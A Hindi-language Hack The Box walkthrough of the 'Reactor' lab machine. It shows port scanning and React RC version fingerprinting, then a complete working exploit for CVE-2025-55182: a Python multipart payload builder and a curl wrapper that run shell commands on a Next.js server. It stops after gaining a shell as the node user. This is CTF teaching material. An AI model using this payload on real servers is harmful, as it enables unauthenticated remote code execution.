
HTB की Reactor मशीन का पूर्ण वॉकथ्रू — shell प्राप्त करने के लिए CVE-2025-55182 का शोषण करें, फिर उजागर Node.js डिबगर के माध्यम से root प्राप्त करें। स्क्रीनशॉट के साथ चरण-दर-चरण।
[!CAUTION] स्पॉयलर चेतावनी। यह फ़्लैग्स सहित एक पूर्ण वॉकथ्रू है। यदि आप मशीन को स्वयं हल करना चाहते हैं, तो इसे अभी बंद करें और जब आप फँस जाएँ तो वापस आएँ।
| फ़ील्ड | विवरण |
|---|---|
| नाम | Reactor |
| OS | Ubuntu 24.04 LTS (Noble) |
| कठिनाई | मध्यम |
| CVE | CVE-2025-55182 (CVSS 10.0) |
| पोर्ट | 22 (SSH), 3000 (Next.js) |
| लेखक | sonnycroco |
Reactor एक परमाणु संयंत्र निगरानी डैशबोर्ड के इर्द-गिर्द थीम पर आधारित है जिसे ReactorWatch कहा जाता है। यह बॉक्स पूरी तरह से दो कमजोरियों की श्रृंखला के बारे में है, कोई अनुमान नहीं, कोई रैबिट होल नहीं, कोई ब्रूट फोर्स नहीं।
रास्ता: एक प्री-रिलीज़ React 19 बिल्ड एक गंभीर डिसीरियलाइज़ेशन दोष उजागर करता है जो आपको एक ही HTTP अनुरोध के साथ बिना प्रमाणीकरण के रिमोट कोड निष्पादन देता है। वहाँ से, रूट के रूप में चल रहा Node.js डिबगिंग पोर्ट एक WebSocket संदेश के माध्यम से आपको पूर्ण सिस्टम पहुँच देता है।
हमले की श्रृंखला:
Unauthenticated HTTP POST
│
│ CVE-2025-55182 - React RSC multipart deserialization
▼
RCE as node (uid=999)
│
│ Root Node.js process with --inspect exposed on localhost
▼
CDP Runtime.evaluate -> RCE as root (uid=0)
│
├── user.txt ✓
└── root.txt ✓
node के रूप में छानबीनकिसी भी नई मशीन पर सबसे पहले यह पता लगाना होता है कि क्या सुन रहा है। ताकि कुछ भी छूट न जाए, सेवा डिटेक्शन के साथ एक पूर्ण पोर्ट स्कैन करें।
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open http Next.js 15.0.3

केवल दो पोर्ट। इस चरण में SSH एक बंद रास्ता है क्योंकि हमारे पास अभी कोई क्रेडेंशियल नहीं है। पोर्ट 3000 लक्ष्य है। Nmap पहले ही बता देता है कि यह Next.js 15.0.3 है, जो एक अच्छा सुराग है।
किसी भी चीज़ पर एक्सप्लॉइट फेंकने से पहले, मैं चल रही हर चीज़ का सटीक संस्करण जानना चाहता हूँ। HTTP हेडर ने पहले ही Next.js का खुलासा कर दिया था, लेकिन React संस्करण महत्वपूर्ण विवरण है। React 19 लंबे समय तक प्री-रिलीज़ में था और स्थिर रिलीज़ से पहले इसमें कुछ गंभीर समस्याएँ थीं।
जाँचने के लिए क्लाइंट-साइड JavaScript चंक्स में से एक को खींच रहा हूँ:
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
| grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
19.0.0-rc-66855b96-20241106
वर्ज़न स्ट्रिंग में वह rc स्मोकिंग गन है। यह React 19 की रिलीज़ कैंडिडेट बिल्ड है, स्थिर संस्करण नहीं। CVE डेटाबेस पुष्टि करते हैं: CVE-2025-55182 इसी बिल्ड को प्रभावित करता है। CVSS 10.0।
यहाँ रहते हुए, मैं मिडलवेयर के सुराग के लिए हेडर की जाँच करता हूँ:
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1
कहीं भी कोई x-middleware-rewrite हेडर नहीं है, जिसका मतलब है कि Next.js मिडलवेयर स्थापित नहीं है। यह CVE-2025-29927 (मिडलवेयर बायपास) को खारिज कर देता है, यह ध्यान देने योग्य है ताकि आप उस पर समय बर्बाद न करें।
हम क्या जानते हैं:
experimental.serverActions सक्षम है19.0.0-rc, CVE-2025-55182 के लिए संवेदनशील
React 19 के सर्वर कंपोनेंट्स ने सर्वर एक्शन पेश किए, जो सर्वर-साइड फ़ंक्शन हैं जिन्हें क्लाइंट Next-Action हेडर के साथ HTTP POST के माध्यम से कॉल कर सकता है। इन अनुरोधों को संभालने वाला multipart बॉडी पार्सर एक गंभीर त्रुटि रखता है: यह $1:__proto__:then नामक एक संदर्भ प्रकार को असुरक्षित रूप से डिसीरियलाइज़ करता है।
एक multipart बॉडी तैयार करके जो _response._prefix को मनमाने JavaScript पर सेट करती है, एक हमलावर उस कोड का सर्वर पर मूल्यांकन करा देता है। फिर आउटपुट को रीडायरेक्ट के लिए Next.js आंतरिक रूप से उपयोग होने वाले एक अपवाद (NEXT_REDIRECT) के माध्यम से बाहर निकाला जाता है, और x-action-redirect रिस्पॉन्स हेडर के अंदर URL-एन्कोडेड होकर समाप्त होता है।
Next-Action हेडर के साथ किसी भी पेज पर कोई भी POST इसे ट्रिगर करता है। कोई प्रमाणीकरण जाँच नहीं, कोई विशेष एंडपॉइंट नहीं। बस पेलोड को / पर भेजें और आप अंदर हैं।
एक छोटा Python हेल्पर जो इनपुट के रूप में एक शेल कमांड लेता है, multipart पेलोड बनाता है, और भेजने के लिए curl हेतु उसे डिस्क पर लिखता है:
# /tmp/make_rce.py
import sys
cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")
payload = (
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="0"\r\n\r\n'
+ ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
'"var res=process.mainModule.require(\'child_process\').execSync(\''
+ cmd_esc +
'\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
'{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
'"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
+ b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="1"\r\n\r\n'
b'"$@0"\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="2"\r\n\r\n'
b'[]\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
f.write(payload)
सब कुछ एक स्यूडो-शेल अनुभव के लिए एक शेल फ़ंक्शन में लपेटना:
rce() {
python3 /tmp/make_rce.py "$*" > /dev/null
curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary "@/tmp/rce_payload.bin" > /dev/null
grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
| python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}
कच्चा HTTP आदान-प्रदान। कमांड आउटपुट रीडायरेक्ट हेडर में ठीक वहीं मौजूद है:
POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
[... multipart body ...]
HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push
rce "id"
# uid=999(node) gid=988(node) groups=988(node)